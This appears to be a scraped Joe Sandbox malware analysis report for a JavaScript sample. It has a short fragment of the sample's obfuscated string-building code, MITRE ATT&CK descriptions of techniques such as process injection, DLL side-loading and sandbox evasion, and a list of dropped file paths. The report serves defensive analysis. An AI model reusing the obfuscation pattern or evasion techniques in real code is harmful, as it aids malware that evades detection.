498	glbunc = "d";
499	glbunc = "y";
500	glbunc = "d";
501	glbunc = "T";
502	glbunc = "i";
503	glbunc = "8";
504	tbgrfdr ( );	tbgrfdr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10557253441737814573.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8acd91d6-0881-457b-8bd1-aaebb32f2dbd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5636

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5636

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
10557253441737814573.js